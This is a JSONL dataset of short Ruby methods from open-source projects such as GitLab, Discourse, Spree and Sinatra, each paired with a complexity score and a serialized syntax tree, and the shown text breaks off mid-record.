{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_configuration_script_request_template.rb","start_line":2,"raw_source":"def create_tasks_for_service(service_task, parent_svc)\n    template_service_resource = ServiceResource.find_by(:id => service_task.options[:service_resource_id])\n    scaling_min = 1\n\n    _log.info(\"create_tasks_for_service ID #{service_task.id} SCALING : #{scaling_min}\")\n    scaling_min.times.collect do |idx|\n      create_request_task(idx) do |req_task|\n        req_task.miq_request_id = service_task.miq_request.id\n        req_task.userid         = service_task.userid\n\n        task_options     = req_task.options.merge(service_options(parent_svc, service_task, template_service_resource))\n        task_options     = task_options.merge(owner_options(service_task))\n        req_task.options = task_options\n      end\n    end\n  end","complexity_score":32.35,"ast_json":"{\"type\":\"def\",\"children\":[\"create_tasks_for_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_task\"]},{\"type\":\"arg\",\"children\":[\"parent_svc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_service_resource\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResource\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_task\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_resource_id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scaling_min\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"create_tasks_for_service ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_task\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" SCALING : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scaling_min\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scaling_min\"]},\"times\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_request_task\",{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req_task\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_task\"]},\"miq_request_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_task\"]},\"miq_request\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_task\"]},\"userid=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_task\"]},\"userid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"task_options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_task\"]},\"options\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"service_options\",{\"type\":\"lvar\",\"children\":[\"parent_svc\"]},{\"type\":\"lvar\",\"children\":[\"service_task\"]},{\"type\":\"lvar\",\"children\":[\"template_service_resource\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"task_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task_options\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"owner_options\",{\"type\":\"lvar\",\"children\":[\"service_task\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_task\"]},\"options=\",{\"type\":\"lvar\",\"children\":[\"task_options\"]}]}]}]}]}]}]}","id":"689c3724-8a35-4f0d-a996-af7612ba8a40"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_detailed_user_serializer.rb","start_line":168,"raw_source":"def include_similar_users_count?\n    @options[:similar_users_count].present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_similar_users_count?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"similar_users_count\"]}]},\"present?\"]}]}","id":"430cf6e0-555f-4652-b792-4c0a82ef31ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/authz/granular_scope.rb","start_line":18,"raw_source":"def self.permitted_for_boundary?(boundary, permissions)\n      required_permissions = Array(permissions).map(&:to_sym)\n      token_permissions = token_permissions(boundary)\n      (required_permissions - token_permissions).empty?\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"permitted_for_boundary?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"boundary\"]},{\"type\":\"arg\",\"children\":[\"permissions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"required_permissions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"permissions\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token_permissions\",{\"type\":\"send\",\"children\":[null,\"token_permissions\",{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_permissions\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"token_permissions\"]}]}]},\"empty?\"]}]}]}","id":"9da59f56-ce92-42db-946a-66ccfbaf5ff6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/ldap/base_service.rb","start_line":160,"raw_source":"def new_ldap_connection\n      ldap.instance_eval { initialize_ldap_con(account, account_password) }\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"new_ldap_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap\"]},\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"initialize_ldap_con\",{\"type\":\"send\",\"children\":[null,\"account\"]},{\"type\":\"send\",\"children\":[null,\"account_password\"]}]}]}]}","id":"fe3764d9-f43f-40f3-9b15-258dbc1984f3"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/option_types_controller.rb","start_line":23,"raw_source":"def setup_new_option_value\n        @option_type.option_values.build if @option_type.option_values.empty?\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_new_option_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@option_type\"]},\"option_values\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@option_type\"]},\"option_values\"]},\"build\"]},null]}]}","id":"b5922c14-23ec-4942-afcf-0d2dbc96b964"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_before_block_braces.rb","start_line":150,"raw_source":"def conflict_with_block_delimiters?(node)\n          block_delimiters_style == 'line_count_based' && style == :no_space && node.multiline?\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"conflict_with_block_delimiters?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_delimiters_style\"]},\"==\",{\"type\":\"str\",\"children\":[\"line_count_based\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"no_space\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"multiline?\"]}]}]}","id":"33c963ec-8bd9-4f6b-8f76-5bc3dbd881fe"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/produce/lib/produce/group.rb","start_line":42,"raw_source":"def associate(_options, args)\n      login\n\n      if !app_exists?\n        UI.message(\"[DevCenter] App '#{Produce.config[:app_identifier]}' does not exist, nothing to associate with the groups\")\n      else\n        app = Spaceship.app.find(app_identifier)\n        UI.user_error!(\"Something went wrong when fetching the app - it's not listed in the apps list\") if app.nil?\n\n        new_groups = []\n\n        UI.message(\"Validating groups before association\")\n\n        args.each do |group_identifier|\n          if !app_group_exists?(group_identifier)\n            UI.message(\"[DevCenter] App group '#{group_identifier}' does not exist, please create it first, skipping for now\")\n          else\n            new_groups.push(Spaceship.app_group.find(group_identifier))\n          end\n        end\n\n        UI.message(\"Finalising association with #{new_groups.count} groups\")\n        app.associate_groups(new_groups)\n        UI.success(\"Done!\")\n      end\n\n      return true\n    end","complexity_score":37.1,"ast_json":"{\"type\":\"def\",\"children\":[\"associate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_options\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_exists?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[DevCenter] App '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]}]},{\"type\":\"str\",\"children\":[\"' does not exist, nothing to associate with the groups\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"app\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"app_identifier\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Something went wrong when fetching the app - it's not listed in the apps list\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_groups\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Validating groups before association\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_identifier\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_group_exists?\",{\"type\":\"lvar\",\"children\":[\"group_identifier\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[DevCenter] App group '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_identifier\"]}]},{\"type\":\"str\",\"children\":[\"' does not exist, please create it first, skipping for now\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_groups\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"app_group\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"group_identifier\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Finalising association with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_groups\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" groups\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"associate_groups\",{\"type\":\"lvar\",\"children\":[\"new_groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Done!\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"23f0e308-f34f-4733-91f0-65d3649de28f"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/bisect/example_minimizer.rb","start_line":13,"raw_source":"def initialize(shell_command, runner, notifier)\n          @shell_command = shell_command\n          @runner        = runner\n          @notifier      = notifier\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shell_command\"]},{\"type\":\"arg\",\"children\":[\"runner\"]},{\"type\":\"arg\",\"children\":[\"notifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shell_command\",{\"type\":\"lvar\",\"children\":[\"shell_command\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@runner\",{\"type\":\"lvar\",\"children\":[\"runner\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@notifier\",{\"type\":\"lvar\",\"children\":[\"notifier\"]}]}]}]}","id":"ddf3c600-6d86-438f-b0f7-fcd8bf50cd25"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":226,"raw_source":"def call(env)\n      result = app.call(env)\n      callback = env['async.callback']\n      return result unless callback && async?(*result)\n\n      after_response { callback.call result }\n      setup_close(env, *result)\n      throw :async\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"callback\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"async.callback\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},{\"type\":\"send\",\"children\":[null,\"async?\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"after_response\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[null,\"setup_close\",{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"async\"]}]}]}]}","id":"d09f08bc-f33b-4b17-875f-5888a670f528"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/client_credentials/validator.rb","start_line":37,"raw_source":"def validate_scopes\n          application_scopes = if @client.present?\n                                 @client.application.scopes\n                               else\n                                 \"\"\n                               end\n          return true if @request.scopes.blank? && application_scopes.blank?\n\n          ScopeChecker.valid?(\n            scope_str: @request.scopes.to_s,\n            server_scopes: @server.scopes,\n            app_scopes: application_scopes,\n            grant_type: Doorkeeper::OAuth::CLIENT_CREDENTIALS,\n          )\n        end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_scopes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"application_scopes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"application\"]},\"scopes\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"scopes\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application_scopes\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScopeChecker\"]},\"valid?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_str\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"scopes\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"scopes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_scopes\"]},{\"type\":\"lvar\",\"children\":[\"application_scopes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grant_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"OAuth\"]},\"CLIENT_CREDENTIALS\"]}]}]}]}]}]}","id":"1f1ccf84-b6c7-43cc-9ebe-0856e088bec2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/batch_counter.rb","start_line":94,"raw_source":"def merge_results(results, object)\n        return object unless results\n\n        if object.is_a?(Hash)\n          results.merge!(object) { |_, a, b| a + b }\n        else\n          results + object\n        end\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]},{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}]}","id":"b1d6456d-670c-4b58-9118-2e29b2f53d04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/design_management/designs/raw_images_controller.rb","start_line":22,"raw_source":"def ref\n          sha || design_repository.root_ref\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"ref\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"design_repository\"]},\"root_ref\"]}]}]}","id":"94e7fc8b-4a94-4c9d-9f4c-3fbd4d05defa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/core.rb","start_line":219,"raw_source":"def do_after_crawl_blocks\n      @after_crawl_blocks.each { |block| block.call(@pages) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"do_after_crawl_blocks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@after_crawl_blocks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@pages\"]}]}]}]}","id":"5ffc2e29-1681-4c9b-8ea5-2db0a0fa8817"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/fake_s3.rb","start_line":28,"raw_source":"def bucket(bucket_name)\n    bucket_name, _prefix = bucket_name.split(\"/\", 2)\n    @buckets[bucket_name]\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"bucket\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bucket_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bucket_name\"]},{\"type\":\"lvasgn\",\"children\":[\"_prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buckets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"bucket_name\"]}]}]}]}","id":"58d7e7c0-1e29-4959-a155-0efe423a70f7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/metafields.rb","start_line":39,"raw_source":"def extract_namespace_and_key(key_with_namespace)\n        self.class.extract_namespace_and_key(key_with_namespace)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_namespace_and_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_with_namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"extract_namespace_and_key\",{\"type\":\"lvar\",\"children\":[\"key_with_namespace\"]}]}]}","id":"4b4d5052-443c-47ab-969b-b6d3b04eea18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/merge_requests_service.rb","start_line":43,"raw_source":"def resolve_all_discussions\n      body = \"resolved all threads\"\n\n      create_note(NoteSummary.new(noteable, project, author, body, action: 'discussion'))\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_all_discussions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"resolved all threads\"]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"author\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"discussion\"]}]}]}]}]}]}]}","id":"7b11dd89-953d-4535-bf8b-68bea7877f36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_helper.rb","start_line":365,"raw_source":"def linkedin_name(user)\n    user.linkedin.chomp('/').gsub(%r{.*/}, '')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"linkedin_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"linkedin\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".*/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"f4e83f9b-8d5d-42b0-b914-3546d5013cc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_migrate_jobs_spec.rb","start_line":311,"raw_source":"def post_migrate_checks\n        jobs = list_jobs('default')\n        expect(jobs.length).to eq(3)\n        sorted = jobs.sort_by { |job| [job[\"class\"], job[\"args\"]] }\n        expect(sorted[0]).to include('class' => 'AuthorizedProjectUpdate::ProjectRecalculateWorker',\n          'queue' => 'default')\n        expect(sorted[1]).to include('class' => 'EmailReceiverWorker', 'args' => ['bar'], 'queue' => 'default')\n        expect(sorted[2]).to include('class' => 'EmailReceiverWorker', 'args' => ['foo'], 'queue' => 'default')\n      end","complexity_score":31.15,"ast_json":"{\"type\":\"def\",\"children\":[\"post_migrate_checks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"send\",\"children\":[null,\"list_jobs\",{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"length\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sorted\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"AuthorizedProjectUpdate::ProjectRecalculateWorker\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"EmailReceiverWorker\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"EmailReceiverWorker\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a